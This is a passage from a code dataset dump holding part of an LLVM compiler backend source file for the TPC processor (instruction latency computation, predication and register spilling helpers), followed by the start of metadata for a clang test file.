\"\\n\");\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"=====================================================\\n\");\n return 0;\n }\n }\n\n if (TPCII::isLookupC(DefMCID) && TPCII::getSlotOpCode(DefMCID) == TPCII::LOOKUP_C0 &&\n TPCII::isLookupC(UseMCID) && TPCII::getSlotOpCode(UseMCID) == TPCII::LOOKUP_C0 &&\n (DefIdx == 0 && ((UseIdx == 2 && UseMI.getOperand(UseIdx).isTied()) || (UseIdx == 0))))\n {\n int DefMsk = 0;\n int UseMsk = 0;\n if (DefMI.getOperand(3).isImm()) {\n DefMsk = DefMI.getOperand(3).getImm();\n }\n if (UseMI.getOperand(3).isImm()) {\n UseMsk = UseMI.getOperand(3).getImm();\n }\n if (DefMsk && UseMsk && (0 == (DefMsk & UseMsk))) {\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"== Latency (different lanes) = \" << 0 << \"\\n\");\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"=====================================================\\n\");\n return 0;\n }\n }\n\n // ** IRF arithmetic with DIM_MASK **\n if (DefRegClass == &TPC::IRFRegClass) {\n assert(UseRegClass == &TPC::IRFRegClass);\n unsigned DefMask = 0;\n unsigned UseMask = 0;\n if (isIRFProducerWithDimMask(DefMI, DefMask) && isIRFProducerWithDimMask(UseMI, UseMask)) {\n if (0 == (DefMask & UseMask)) {\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"== Latency (different lanes) \" << 0 << \"\\n\");\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"=====================================================\\n\");\n return 0;\n }\n }\n }\n#endif\n\n auto UseOpId = TPCLatencyEvaluation::OperandID::e_dst;\n\n // Recognize predicate register as the operand right before the last one. The\n // last operand is predicate polarity and must be a constant.\n if (UseIdx == UseMCID.getNumOperands() - 2 && isPredicateReg(DefRegClass))\n UseOpId = TPCLatencyEvaluation::OperandID::e_src_p;\n // LD_TNSR may have additional argument (S30) before income value, if it has\n // switch PARTIAL. To avoid complication of getOperandId handle this case\n // before call to it.\n else if (TPCII::isLoadInst(UseMCID) &&\n TPCII::getSlotOpCode(UseMCID) == TPCII::LD_TNSR &&\n UseIdx == UseMCID.getNumOperands() - 3 &&\n UseMCID.getOperandConstraint(UseIdx, MCOI::TIED_TO) == 0)\n UseOpId = TPCLatencyEvaluation::OperandID::e_dst;\n else\n UseOpId = getOperandId(Subtarget, UseMI, UseRegClass, UseIdx);\n\n // See TPC PRM 1.3.2. Read After Write Latencies\n if (UseOpId == TPCLatencyEvaluation::OperandID::e_dst) {\n\n// Table 5: Write-after-Write Restrictions\n// ----------------------------------------------------------------------------\n// First WriteInstruction | Second Write Instruction | Latency\n// ----------------------------------------------------------------------------\n// LD_G/LD_L/LD_L_V*/LD_TNSR* to | Any instruction on the SPU/VPU | \n// SPRF/VPRF | that updates the same SPRF/VPRF | 3\n// ----------------------------------------------------------------------------\n// LD_G/LD_L/LD_L_V*/LD_TNSR* to | MOV on a LOAD issue slot that | \n// SPRF/VPRF | updates the same SPRF/VPRF | 3\n// ----------------------------------------------------------------------------\n// UDIV_4STEP | Any instruction that defines | 6\n// | the same def |\n// ----------------------------------------------------------------------------\n\n int lat = 1;\n unsigned opc1 = TPCII::getSlotOpCode(DefMCID);\n unsigned opc2 = TPCII::getSlotOpCode(UseMCID);\n\n if (TPCII::isLoadInst(DefMCID)) {\n switch (opc1) {\n case TPCII::LD_L:\n case TPCII::LD_G:\n case TPCII::LD_L_V:\n case TPCII::LD_L_V_LOW:\n case TPCII::LD_L_V_HIGH:\n case TPCII::LD_TNSR:\n case TPCII::LD_TNSR_LOW:\n case TPCII::LD_TNSR_HIGH:\n if ( TPCII::isVPUInst(UseMCID) || TPCII::isSPUInst(UseMCID) ||\n (TPCII::isLoadInst(UseMCID) && opc2 == TPCII::ldMOV) ) {\n lat = 3;\n }\n break;\n }\n }\n\n if (is_convert_instr_with_lane(DefMI) && is_convert_instr_with_lane(UseMI)) {\n if (getLaneSel(DefMI) != getLaneSel(UseMI)) {\n lat = 0; // no latency between different lanes\n }\n }\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"== Latency (e_dst in Consumer) = \" << lat << \"\\n\");\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"=====================================================\\n\");\n return lat;\n }\n\n if (UseMCID.isBranch() && isPredicateReg(DefRegClass))\n UseOpId = TPCLatencyEvaluation::OperandID::e_src_p;\n bool IsUseFloat = !TPCII::isLoopInst(UseMCID) &&\n !TPCII::isStoreInst(UseMCID) &&\n isFloatData(getOpType(UseMI));\n if (IsUseFloat) {\n if (TPCII::isLoadInst(UseMCID) && !TPCII::isLookup(UseMCID)) {\n IsUseFloat = false;\n }\n }\n if (TPCII::isLookup(UseMCID)) {\n IsUseFloat = true;\n }\n\n //todo: This condition can be more optimal. This condition can be relaxed for only FP instruction with SRC_B.\n bool isDefSpuAddSub = (TPCII::isSPUInst(DefMCID) &&\n ((TPCII::getSlotOpCode(DefMCID) == TPCII::spuSUB) ||\n\t\t\t (TPCII::getSlotOpCode(DefMCID) == TPCII::spuADD)));\n bool isDefVpuAddSub = (TPCII::isVPUInst(DefMCID) &&\n ((TPCII::getSlotOpCode(DefMCID) == TPCII::vpuSUB) ||\n\t\t\t (TPCII::getSlotOpCode(DefMCID) == TPCII::vpuADD)));\n\n bool defIsAccFp32 = false;\n bool useIsAccFp32 = false;\n bool isUseFp16 = false;\n if (Subtarget.hasGen2Plus()) {\n // Only MAC and MUL have a AccFp32\n // For now only relevent BF16\n bool isMulMacSPU = (TPCII::isSPUInst(DefMCID) &&\n (TPCII::getSlotOpCode(DefMCID) == TPCII::spuMUL ||\n TPCII::getSlotOpCode(DefMCID) == TPCII::spuMAC) &&\n getOpType(DefMI) == TPCII::OpType::BF16);\n bool isMulMacVPU = (TPCII::isVPUInst(DefMCID) &&\n (TPCII::getSlotOpCode(DefMCID) == TPCII::vpuMUL ||\n TPCII::getSlotOpCode(DefMCID) == TPCII::vpuMAC) &&\n getOpType(DefMI) == TPCII::OpType::BF16);\n\n if (isMulMacSPU || isMulMacVPU)\n defIsAccFp32 = DefMI.getOperand(4).getImm() & TPCII::SW_ACC_FP32;\n\n isMulMacSPU = (TPCII::isSPUInst(UseMCID) &&\n (TPCII::getSlotOpCode(UseMCID) == TPCII::spuMUL ||\n TPCII::getSlotOpCode(UseMCID) == TPCII::spuMAC) &&\n getOpType(UseMI) == TPCII::OpType::BF16);\n isMulMacVPU = (TPCII::isVPUInst(UseMCID) &&\n (TPCII::getSlotOpCode(UseMCID) == TPCII::vpuMUL ||\n TPCII::getSlotOpCode(UseMCID) == TPCII::vpuMAC) &&\n getOpType(UseMI) == TPCII::OpType::BF16);\n\n if (isMulMacSPU || isMulMacVPU) {\n useIsAccFp32 = UseMI.getOperand(4).getImm() & TPCII::SW_ACC_FP32;\n }\n }\n\n TPCLatencyEvaluation::InstructionForLatencyDetermination DefData(\n convertSlot(TPCII::getInstrType(DefMCID)),\n TPCII::getSlotOpCode(DefMCID),\n TPCLatencyEvaluation::e_dst,\n IsDefFloat,\n isDefIRFDest,\n isDefVectorPipe,\n isDefLFSRImplicitDst,\n defIsAccFp32,\t// isAccFp32\n 0,\t // idxDst0\n is2srfDst,\n 0,\t// is2xLookupAddSub,\n isAddSubFP16,\t// isAddSubFp16,\n false, //isFp8\n convertReg(DefRegClass)\n );\n\n TPCLatencyEvaluation::InstructionForLatencyDetermination UseData(\n convertSlot(TPCII::getInstrType(UseMCID)),\n TPCII::getSlotOpCode(UseMCID),\n UseOpId,\n IsUseFloat,\n isUseIRFDest,\n isUseVectorPipe,\n isUseLFSRImplicitDst,\n useIsAccFp32,\t// isAccFp32\n 0,\t // idxDst0\n false,\t// is2SrfDst\n 0, // is2xLookupAddSub,\n isUseFp16, // isAddSubFp16,\n false, //isFp8\n convertReg(UseRegClass)\n );\n\n if (TPCLatencyEvaluation::latenciesDB.empty()) {\n if (Subtarget.hasGaudiISA()) {\n TPCLatencyEvaluation::gaudi_buildInstructionLatenciesDB();\n }\n else {\n TPCLatencyEvaluation::dali_buildInstructionLatenciesDB();\n }\n }\n\n\n int Latency;\n int tpc_generation = 1; // Dali\n \n if (Subtarget.hasGaudiISA()) {\n tpc_generation = 2;\n }\n\n Latency = static_cast<int>(TPCLatencyEvaluation::calculateLatency(DefData, UseData, tpc_generation));\n\n //\n // Fix latency value taking into account different PRM restrictions\n // In fact, the latencyDB interface function 'calculateLatency' should have\n // taken care of this, but this is not true for now.\n //\n if (tpc_generation > 1) {\n // Gaudi restrictions:\n //\n // 4 cycles after any instruction which write to Scalar Predicate,\n // ASO with VPU_ASO_OP switch can't be predicated using this predicate\n // (so we set latency = 5 if the conditions above are true)\n //\n if (TPCII::isStoreInst(UseMCID) &&\n TPCII::getSlotOpCode(UseMCID) == TPCII::ASO && UseIdx == 1)\n {\n const MachineOperand &MO = UseMI.getOperand(0); // Sw\n assert (MO.isImm());\n if (MO.getImm() & 2) { // VPU_ASO_OP switch\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"== Restriction: ASO and Scalar predicate\\n\");\n Latency = std::max(Latency, 5);\n }\n }\n }\n\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"== Latency = \" << Latency << \"\\n\");\n DEBUG_WITH_TYPE(\"latency\", dbgs() << \"=====================================================\\n\");\n\n return Latency;\n}\n\nbool TPCInstrInfo::isPredicated(const MachineInstr& MI) const {\n if (MI.getOpcode() == TPC::JMPR) {\n return true;\n }\n\n // Intrinsics are predicated with a predicate being the penultimate operand.\n const MCInstrDesc &MCID = MI.getDesc();\n if (MCID.getNumOperands() > 1) {\n const MachineOperand& PossiblePred = MI.getOperand(MCID.getNumOperands() - 2);\n const MachineOperand& PossiblePol = MI.getOperand(MCID.getNumOperands() - 1);\n if (!PossiblePol.isImm() || !PossiblePred.isReg())\n return false;\n\n Register PReg = PossiblePred.getReg();\n if (PReg == TPC::SP0 || PReg == TPC::VP0)\n return false;\n const TargetRegisterClass *RC;\n if (PReg.isPhysical()) {\n RC = getClassOfPhysicalRegister(PReg, RI);\n } else {\n // Virtual registers.\n // In this case we cannot determine if the register is SP0, so such\n // instruction is always considered predicated if the register is of\n // predicate class.\n const MachineRegisterInfo& MRI = MI.getParent()->getParent()->getRegInfo();\n RC = MRI.getRegClass(PReg);\n }\n return TPC::SPRFRegClass.hasSubClassEq(RC)\n || TPC::VPRFRegClass.hasSubClassEq(RC);\n }\n\n // TODO: other instructions (not intrinsics)?\n\n return false;\n}\n\n\nDFAPacketizer *TPCInstrInfo::CreateTargetScheduleState(\n const TargetSubtargetInfo &STI) const {\n const InstrItineraryData *II = STI.getInstrItineraryData();\n return static_cast<const TPCSubtarget&>(STI).createDFAPacketizer(II);\n}\n\n\nvoid TPCInstrInfo::insertNoop(int opcode, MachineBasicBlock &MBB,\n MachineBasicBlock::iterator MI) {\n DebugLoc DL;\n BuildMI(MBB, MI, DL, get(opcode));\n}\n\n/// Insert a NOP instruction before MI instruction.\n/// We insert only NOPv (VPU slot) - the packetizer\n/// will not bundle it with any instruction, so that\n/// we have a full VLIW NOP.\nvoid TPCInstrInfo::insertNoop(MachineBasicBlock &MBB,\n MachineBasicBlock::iterator MI) const {\n DebugLoc DL;\n //BuildMI(MBB, MI, DL, get(TPC::NOPld));\n //BuildMI(MBB, MI, DL, get(TPC::NOPs));\n BuildMI(MBB, MI, DL, get(TPC::NOPv));\n //BuildMI(MBB, MI, DL, get(TPC::NOPst));\n}\n\nLLVM_READONLY int getAltOpcodeLoad (uint16_t Opcode, enum TPC::Slot inSlot);\nLLVM_READONLY int getAltOpcodeStore(uint16_t Opcode, enum TPC::Slot inSlot);\nLLVM_READONLY int getAltOpcodeSpu (uint16_t Opcode, enum TPC::Slot inSlot);\nLLVM_READONLY int getAltOpcodeVpu (uint16_t Opcode, enum TPC::Slot inSlot);\n\nbool TPCInstrInfo::getOtherSlotOpcodes(MachineInstr* MI, std::vector<unsigned>& opcodes) const {\n int altOpc;\n bool found = false;\n int (*getAltOpcode)(uint16_t, TPC::Slot);\n int (*getAltOpcodeGen)(uint16_t, TPC::Slot) = nullptr;\n int (*getAltOpcodeGenEx)(uint16_t, TPC::Slot) = nullptr;\n if (TPCII::isVPUInst(MI->getDesc())) {\n getAltOpcode = llvm::TPC::getAltOpcodeVpu;\n }\n else if (TPCII::isSPUInst(MI->getDesc())) {\n getAltOpcode = llvm::TPC::getAltOpcodeSpu;\n }\n else if (TPCII::isLoadInst(MI->getDesc())) {\n getAltOpcode = llvm::TPC::getAltOpcodeLoad;\n }\n else if (TPCII::isStoreInst(MI->getDesc())) {\n getAltOpcode = llvm::TPC::getAltOpcodeStore;\n }\n else {\n return found;\n }\n\n TPC::Slot slots[4] = {TPC::Slot_SpuSlot, TPC::Slot_VpuSlot, TPC::Slot_LoadSlot, TPC::Slot_StoreSlot};\n for (int i = 0; i < 4; i++) {\n altOpc = getAltOpcode(MI->getOpcode(), slots[i]);\n if (altOpc >= 0 && (altOpc != (uint16_t)-1U)) {\n opcodes.push_back(altOpc);\n found = true;\n }\n if (getAltOpcodeGen != nullptr) {\n altOpc = getAltOpcodeGen(MI->getOpcode(), slots[i]);\n if (altOpc >= 0 && (altOpc != (uint16_t)-1U)) {\n opcodes.push_back(altOpc);\n found = true;\n }\n }\n if (getAltOpcodeGenEx != nullptr) {\n altOpc = getAltOpcodeGenEx(MI->getOpcode(), slots[i]);\n if (altOpc >= 0 && (altOpc != (uint16_t)-1U)) {\n opcodes.push_back(altOpc);\n found = true;\n }\n }\n }\n\n return found;\n}\n\nbool TPCInstrInfo::instHasImm(const MachineInstr &MI) const {\n return TPCII::getHasImm(MI.getDesc());\n}\n\nbool TPCInstrInfo::instHasImmField(const MachineInstr &MI) const {\n return TPCII::getHasImmField(MI.getDesc());\n}\n\nstatic bool isRealPredicateReg(unsigned Reg) {\n return (TPC::SPRFRegClass.contains(Reg) && (Reg != TPC::SP0));\n}\n\nbool TPCInstrInfo::isScalarToVector(const MachineInstr &MI) const {\n unsigned Reg;\n unsigned numOp = MI.getDesc().getNumOperands();\n if (numOp <= 1) return false;\n const MachineOperand &MO = MI.getOperand(0);\n if (!MO.isReg())\n return false;\n if (!MO.isDef())\n return false;\n Reg = MO.getReg();\n if (!TPC::VRFRegClass.contains(Reg) &&\n !TPC::VPRFRegClass.contains(Reg))\n return false;\n \n for (unsigned i = 1, e = numOp; i != e; ++i) {\n const MachineOperand &MO = MI.getOperand(i);\n if (!MO.isReg()) continue;\n Reg = MO.getReg();\n if (TPC::SRFRegClass.contains(Reg) ||\n isRealPredicateReg(Reg))\n return true;\n }\n return false;\n}\n\nbool TPCInstrInfo::hasSRFOrSPRFOperands(const MachineInstr &MI) const {\n unsigned Reg;\n unsigned numOp = MI.getDesc().getNumOperands();\n for (unsigned i = 0, e = numOp; i != e; ++i) {\n const MachineOperand &MO = MI.getOperand(i);\n if (!MO.isReg()) continue;\n Reg = MO.getReg();\n if (TPC::SRFRegClass.contains(Reg))\n return true;\n if (isRealPredicateReg(Reg))\n return true;\n }\n return false;\n}\n\nbool TPCInstrInfo::isVPUInstrWithSRF(const MachineInstr &MI) const {\n if (!TPCII::isVPUInst(MI.getDesc())) {\n return false;\n }\n unsigned Reg;\n unsigned numOp = MI.getDesc().getNumOperands();\n for (unsigned i = 0, e = numOp; i != e; ++i) {\n const MachineOperand &MO = MI.getOperand(i);\n if (!MO.isReg()) continue;\n Reg = MO.getReg();\n if (TPC::SRFRegClass.contains(Reg))\n return true;\n if (isRealPredicateReg(Reg))\n return true;\n }\n return false;\n}\n\nbool TPCInstrInfo::isMovSRFtoVInstr(const MachineInstr &MI) const {\n unsigned sopc = TPCII::getSlotOpCode(MI.getDesc());\n if (TPCII::isLoadInst(MI.getDesc()) && (sopc == TPCII::ldMOV)) {\n unsigned Reg;\n unsigned numOp = MI.getDesc().getNumOperands();\n if (numOp <= 1) return false;\n const MachineOperand &MO = MI.getOperand(0);\n if (!MO.isReg()) return false;\n Reg = MO.getReg();\n if (TPC::VRFRegClass.contains(Reg) || TPC::VPRFRegClass.contains(Reg)) {\n const MachineOperand &M1 = MI.getOperand(1);\n if (!M1.isReg()) return false;\n Reg = M1.getReg();\n if (TPC::SRFRegClass.contains(Reg)) {\n return true;\n }\n }\n }\n return false;\n}\n\nbool TPCInstrInfo::isIRFProducerWithDimMask(const MachineInstr &MI,\n unsigned &Mask) const {\n const llvm::MachineFunction &MF = *MI.getParent()->getParent();\n const MachineRegisterInfo &MRI = MF.getRegInfo();\n const MCInstrDesc &MCID = MI.getDesc();\n\n if (MCID.getNumDefs() != 1)\n return false;\n if (MI.isPseudo()) // COPY\n return false;\n\n // Determine destination register class.\n Register DefReg = MI.getOperand(0).getReg();\n const TargetRegisterClass *DefRegClass;\n if (DefReg.isPhysical()) {\n DefRegClass = getRegClass(MCID, 0, &RI, MF);\n if (!DefRegClass)\n DefRegClass = getClassOfPhysicalRegister(DefReg, RI);\n } else {\n DefRegClass = MRI.getRegClass(DefReg);\n }\n assert(DefRegClass);\n\n if (DefRegClass != &TPC::IRFRegClass)\n // It can be LD_TNSR, - it consumes IRF but does not produce such.\n return false;\n\n // Determine mask operand position.\n unsigned MaskOpNo = ~0U;\n if (TPCII::isLoadInst(MCID)) {\n switch (TPCII::getSlotOpCode(MCID)) {\n case TPCII::ldPRMT_INDX:\n // PRMT_INDX does not use mask.\n return false;\n case TPCII::ldSET_INDX:\n MaskOpNo = 3;\n break;\n case TPCII::LD_G:\n MaskOpNo = 2;\n break;\n case TPCII::ldMOV:\n MaskOpNo = 2;\n break;\n default:\n return false;\n }\n }\n else if (TPCII::isStoreInst(MCID)) {\n switch (TPCII::getSlotOpCode(MCID)) {\n case TPCII::stPRMT_INDX:\n // PRMT_INDX does not use mask.\n return false;\n case TPCII::stSET_INDX:\n MaskOpNo = 3;\n break;\n default:\n return false;\n }\n }\n else if (TPCII::isSPUInst(MCID)) {\n if (TPCII::getSlotOpCode(MCID) == TPCII::spuSET_INDX) {\n MaskOpNo = 3;\n } else {\n // DIM_MASK is the first immediate operand except the case when one of\n // instruction operands is immediate, in this case it is the second.\n bool HasImmOp = TPCII::getHasImm(MCID);\n unsigned NumImmFound = 0;\n for (unsigned I = MCID.getNumDefs(), E = MCID.getNumOperands(); I < E; ++I) {\n const MCOperandInfo &Op = MCID.OpInfo[I];\n if (Op.OperandType == MCOI::OperandType::OPERAND_IMMEDIATE) {\n ++NumImmFound;\n if (NumImmFound == 2 || !HasImmOp) {\n MaskOpNo = I;\n break;\n }\n }\n }\n }\n }\n\n if (MaskOpNo == ~0U)\n return false;\n\n const MachineOperand &MO = MI.getOperand(MaskOpNo);\n if (!MO.isImm())\n // It can be MRF.\n return false;\n int64_t V = MO.getImm();\n assert(V > 0 && V < (1 << 5));\n Mask = static_cast<unsigned>(V);\n return true;\n}\n\nbool TPCInstrInfo::isMovDualGroup(const MachineInstr &MI, unsigned *pSrcG, unsigned *pDstG) const {\n if (MI.getOpcode() == TPC::MOV_DUAL_GROUPm || MI.getOpcode() == TPC::MOV_DUAL_GROUPp) {\n const MachineOperand &Op = MI.getOperand(3);\n unsigned Sw = Op.getImm();\n\n if (Sw != TPCII::SW_MDG_TYPE_SINGLE)\n return false;\n\n *pSrcG = (Sw & TPCII::SW_SRC_DUAL_GROUP) >> TPCII::SW_SRC_DUAL_GROUP_SHIFT;\n *pDstG = (Sw & TPCII::SW_DST_DUAL_GROUP) >> TPCII::SW_DST_DUAL_GROUP_SHIFT;\n return true;\n }\n return false;\n}\n\nMachineInstr *TPCInstrInfo::foldMemoryOperandImpl(\n MachineFunction &MF, MachineInstr &MI, ArrayRef<unsigned> Ops,\n MachineBasicBlock::iterator InsertPt, MachineInstr &LoadMI,\n LiveIntervals *LIS) const {\n return nullptr;\n}\n\n\nMachineInstr *TPCInstrInfo::foldMemoryOperandImpl(\n MachineFunction &MF, MachineInstr &MI, ArrayRef<unsigned> Ops,\n MachineBasicBlock::iterator InsertPt, int FrameIndex,\n LiveIntervals *LIS, VirtRegMap *VRM) const {\n const TargetRegisterInfo &TRI = *MF.getSubtarget().getRegisterInfo();\n const MachineRegisterInfo &MRI = MF.getRegInfo();\n MachineBasicBlock &MBB = *MI.getParent();\n\n if (MI.isCopy()) {\n if (Ops.size() == 1 && (Ops[0] == 0 || Ops[0] == 1)) {\n bool IsSpill = Ops[0] == 0;\n const MachineOperand &DstMO = MI.getOperand(0);\n const MachineOperand &SrcMO = MI.getOperand(1);\n Register DstReg = DstMO.getReg();\n Register SrcReg = SrcMO.getReg();\n Register FoldReg = IsSpill ? DstReg : SrcReg;\n Register LiveReg = IsSpill ? SrcReg : DstReg;\n assert(FoldReg.isVirtual() && \"Cannot fold physregs\");\n const TargetRegisterClass *RC = MRI.getRegClass(FoldReg);\n if (LiveReg.isPhysical())\n if (!RC->contains(LiveReg)) {\n llvm_unreachable(\"Unrelated regclasses\");\n }\n\n MachineInstr *SpillMI = nullptr;\n if (IsSpill) {\n storeRegToStackSlot(MBB, InsertPt, SrcReg, DstMO.isKill(), FrameIndex, RC, &TRI);\n SpillMI = &*--InsertPt;\n if (SrcMO.getSubReg() != 0) {\n SpillMI->getOperand(1).setSubReg(SrcMO.getSubReg());\n }\n } else {\n loadRegFromStackSlot(MBB, InsertPt, DstReg, FrameIndex, RC, &TRI);\n SpillMI = &*--InsertPt;\n if (DstMO.getSubReg() != 0) {\n SpillMI->getOperand(0).setSubReg(DstMO.getSubReg());\n }\n }\n return SpillMI;\n }\n }\n return nullptr;\n}\n\nconst TargetRegisterClass *\nTPCInstrInfo::getClassOfPhysicalRegister(Register Reg, const TargetRegisterInfo &TRI) const {\n assert(Reg.isPhysical());\n for (auto ClassIt = TRI.regclass_begin(); ClassIt != TRI.regclass_end(); ++ClassIt) {\n const TargetRegisterClass *RC = *ClassIt;\n if (RC->contains(Reg))\n return RC;\n }\n llvm_unreachable(\"Cannot find register class\");\n}\n\nbool TPCInstrInfo::isProfitableToHoist(MachineInstr &MI) const {\n if (MI.getOpcode() == TPC::MOVvip || MI.getOpcode() == TPC::MOV_ld_vip)\n return false;\n\n return true;\n}\n\nbool TPCInstrInfo::isReallyTriviallyReMaterializable(const MachineInstr &MI,\n AAResults *AA) const {\n unsigned NumOperands = MI.getDesc().getNumOperands();\n if (NumOperands < 3)\n return false;\n const MachineOperand &PredMO = MI.getOperand(NumOperands - 2);\n if (!PredMO.isReg())\n return false;\n return PredMO.getReg() == TPC::SP0;\n}\n\nvoid TPCInstrInfo::reMaterialize(MachineBasicBlock &MBB,\n MachineBasicBlock::iterator MI, unsigned DestReg,\n unsigned SubIdx, const MachineInstr &Orig,\n const TargetRegisterInfo &TRI) const {\n //const MachineRegisterInfo &MRI = MBB.getParent()->getRegInfo();\n\n //TargetInstrInfo::reMaterialize(MBB, MI, DestReg, SubIdx, Orig, TRI);\n MachineInstr *DefMI = MBB.getParent()->CloneMachineInstr(&Orig);\n DefMI->substituteRegister(DefMI->getOperand(0).getReg(), DestReg, SubIdx, TRI);\n MBB.insert(MI, DefMI);\n\n MachineInstr &Instr = *--MI;\n MachineOperand &MO = Instr.getOperand(0);\n assert(MO.isReg() && MO.isDef());\n if (!MO.getReg().isVirtual())\n return;\n if (MO.isTied()) {\n const MCInstrDesc &MCI = Instr.getDesc();\n if (MCI.getNumOperands() < 4)\n return;\n MachineOperand &IncomeMO = Instr.getOperand(MCI.getNumOperands() - 3);\n if (!IncomeMO.isTied())\n return;\n if (IncomeMO.getSubReg()) {\n IncomeMO.setSubReg(SubIdx);\n }\n }\n}\n\nuint64_t TPCInstrInfo::getInstImm(const MachineInstr &MI) const {\n const MCInstrDesc &MC = MI.getDesc();\n if (TPCII::getHasImm(MC)) {\n unsigned ImmPos = TPCII::getImmFieldOpNum(MC);\n const MachineOperand &MOImm = MI.getOperand(ImmPos);\n assert(MOImm.isImm() || MOImm.isFPImm() || MOImm.isMBB());\n if (MOImm.isImm()) {\n return MOImm.getImm();\n }\n else if (MOImm.isFPImm()) {\n const ConstantFP *fpImm = MOImm.getFPImm();\n APFloat apf = fpImm->getValueAPF();\n uint64_t res = apf.bitcastToAPInt().getZExtValue();\n return res;\n }\n }\n return 0;\n}\n\nbool TPCInstrInfo::isLDSTInstrWithPredicate(const MachineInstr &MI,\n unsigned &pred,\n\t\t\t\t\t unsigned &polarity) const {\n const llvm::MachineFunction &MF = *MI.getParent()->getParent();\n const MachineRegisterInfo &MRI = MF.getRegInfo();\n const MCInstrDesc &MCID = MI.getDesc();\n if (!TPCII::isLoadInst(MCID) && !TPCII::isStoreInst(MCID)) {\n return false;\n }\n pred = 0;\n polarity = 0;\n\n if(MCID.getNumOperands() < 2) {\n return true;\n }\n\n // Predicate register is always the operand right before the last one.\n // The last operand is predicate polarity and must be a constant.\n const MachineOperand &pOp = MI.getOperand(MCID.getNumOperands() - 2);\n const MachineOperand &ppOp = MI.getOperand(MCID.getNumOperands() - 1);\n\n // If the operand before the last one is not a register then we assume that\n // the instruction does not use LD/ST predicate field (using default predicate reg ang polarity).\n if(!pOp.isReg()) {\n return true;\n }\n Register pReg = pOp.getReg();\n const TargetRegisterClass *pRegClass;\n if (pReg.isPhysical()) {\n pRegClass = getClassOfPhysicalRegister(pReg, RI);\n } else {\n pRegClass = MRI.getRegClass(pReg);\n }\n assert(pRegClass);\n\n // If the operand before the last one is not a VP or SP register then we assume that the\n // instruction does not use LD/ST predicate field (using default predicate reg ang polarity).\n if(!isPredicateReg(pRegClass)) {\n return true;\n }\n\n // If the last operand is not an immediate then we assume that the instruction does not use\n // LD/ST predicate field (using default predicate reg ang polarity).\n if(!ppOp.isImm()) {\n return true;\n }\n\n pred = pReg;\n polarity = static_cast<unsigned>(ppOp.getImm());\n\n return true;\n}\n\nbool TPCInstrInfo::isGenAddr(const MachineInstr &MI) const {\n const auto Opcode = MI.getOpcode();\n return (Opcode == TPC::GEN_ADDR_st || Opcode == TPC::GEN_ADDR_ld);\n}\n\nbool llvm::TPCInstrInfo::isMMIOAccess(const MachineInstr & MI)\n{\n auto HasMMIOSuffix = [&MI](unsigned SuffixOpNum) -> bool {\n unsigned SuffixValue = MI.getOperand(SuffixOpNum).getImm();\n return SuffixValue & TPCII::SW_MMIO;\n };\n\n if (TPCII::is_ld_l(MI.getDesc()) && HasMMIOSuffix(2))\n return true;\n else if (TPCII::is_st_l(MI.getDesc())&& HasMMIOSuffix(2))\n return true;\n\n return false;\n}\n\nbool TPCInstrInfo::isGlobalScalarLoad(const MachineInstr &MI) const {\n const auto &MIDesc = MI.getDesc();\n if (!TPCII::isLoadInst(MIDesc) || MI.getNumOperands() < 2)\n return false;\n\n const MachineOperand &DestOp = MI.getOperand(0);\n const MachineOperand &SrcOp = MI.getOperand(1);\n if (!DestOp.isReg() || !SrcOp.isReg())\n return false;\n \n return (TPC::SRFRegClass.contains(DestOp.getReg()) &&\n TPC::ADRFRegClass.contains(SrcOp.getReg()));\n}\n\nbool TPCInstrInfo::instrProducesUnspillableReg(const MachineInstr &MI) const {\n if (MI.getNumOperands() < 1)\n return false;\n\n const MachineOperand &DestOp = MI.getOperand(0);\n if (!DestOp.isReg() || !DestOp.isDef())\n return false;\n\n unsigned reg = DestOp.getReg();\n const MachineFunction *MF = MI.getParent()->getParent();\n const MachineRegisterInfo &MRI = MF->getRegInfo();\n const TargetRegisterClass *RC = MRI.getRegClass(reg);\n\n return (TPC::HWPCRegClass.hasSubClassEq(RC) ||\n TPC::HSRFRegClass.hasSubClassEq(RC) ||\n TPC::HSPRFRegClass.hasSubClassEq(RC));\n}\n\n// TODO duplicated by TPCMCInstrInfo::getOpType\nTPCII::OpType llvm::getOpType(const MachineInstr &MI) {\n // First try to find operand that represents value type.\n const MCInstrDesc &MCInstD = MI.getDesc();\n for (unsigned I = 0, E = MCInstD.getNumOperands(); I < E; ++I) {\n const MCOperandInfo &Op = MCInstD.OpInfo[I];\n if (Op.OperandType == TPC::OPERAND_DATATYPE) {\n const MachineOperand &MOp = MI.getOperand(I);\n assert(MOp.isImm());\n assert(MOp.getImm() >= 0 && MOp.getImm() <= TPCII::OpType::Max);\n return static_cast<TPCII::OpType>(MOp.getImm());\n }\n }\n // TODO: remove this:\n return TPCII::getOpType(MCInstD);\n}\n\nbool llvm::useImmSlotForImm(const MachineInstr & I, int64_t Val)\n{\n const MCInstrDesc &IDesc = I.getDesc();\n const MCOperandInfo &IInfo = IDesc.OpInfo[TPCII::getImmFieldOpNum(IDesc)];\n bool isSigned = TPCMCInstrInfo::isInstTypeSigned(IDesc, I);\n return TPCMCInstrInfo::useImmSlotForImm(IInfo, Val, isSigned);\n}\n\nbool llvm::isSET_INDX(unsigned opc) {\n return (opc == TPC::SET_INDX_ld_rp || opc == TPC::SET_INDX_spu_rp || opc == TPC::SET_INDX_st_rp ||\n opc == TPC::SET_INDX_ld_ip || opc == TPC::SET_INDX_spu_ip || opc == TPC::SET_INDX_st_ip);\n}\n\n\n" }, { "alpha_fraction": 0.4839537739753723, "alphanum_fraction": 0.5532734394073486, "avg_line_length": 47.6875, "blob_id": "8fa2e1cf3b5a0dc4ae281a2c56f70f4635013e96", "content_id": "266505d88020f441f76a122a32d23eb9ac1428e0", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 779, "license_type": "permissive", "max_line_length": 108, "num_lines": 16, "path": "/clang/test/RC99/CodeGen/bool256-xora.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -O0 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n// RUN: %clang_cc1 -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck 